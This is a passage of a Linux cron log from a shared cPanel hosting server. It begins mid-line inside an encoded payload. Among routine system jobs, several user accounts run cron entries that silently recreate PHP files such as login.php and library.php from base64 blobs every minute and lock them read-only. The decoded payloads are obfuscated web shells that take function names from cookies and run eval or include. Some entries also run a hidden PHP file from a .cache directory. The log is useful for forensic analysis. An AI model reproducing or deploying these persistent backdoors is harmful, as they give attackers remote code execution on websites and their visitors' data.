F0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:30:02 medusa CROND[9051]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 14:30:02 medusa CROND[9071]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  2 14:30:02 medusa CROND[9072]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:30:02 medusa CROND[9082]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:30:02 medusa CROND[9078]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 14:30:02 medusa CROND[9084]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 14:30:02 medusa CROND[9074]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 14:31:01 medusa CROND[27237]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:31:01 medusa CROND[27238]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 14:31:01 medusa CROND[27239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:31:01 medusa CROND[27241]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 14:31:01 medusa CROND[27242]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:31:01 medusa CROND[27243]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:31:01 medusa CROND[27245]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:31:01 medusa CROND[27246]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:31:01 medusa CROND[27249]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:31:01 medusa CROND[27248]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:31:01 medusa CROND[27247]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:31:01 medusa CROND[27261]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:31:01 medusa CROND[27265]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:32:02 medusa CROND[15642]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:32:02 medusa CROND[15643]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 14:32:02 medusa CROND[15645]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:32:02 medusa CROND[15644]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:32:02 medusa CROND[15646]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:32:02 medusa CROND[15648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:32:02 medusa CROND[15650]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:32:02 medusa CROND[15655]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:32:02 medusa CROND[15658]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:32:02 medusa CROND[15659]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:32:02 medusa CROND[15661]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
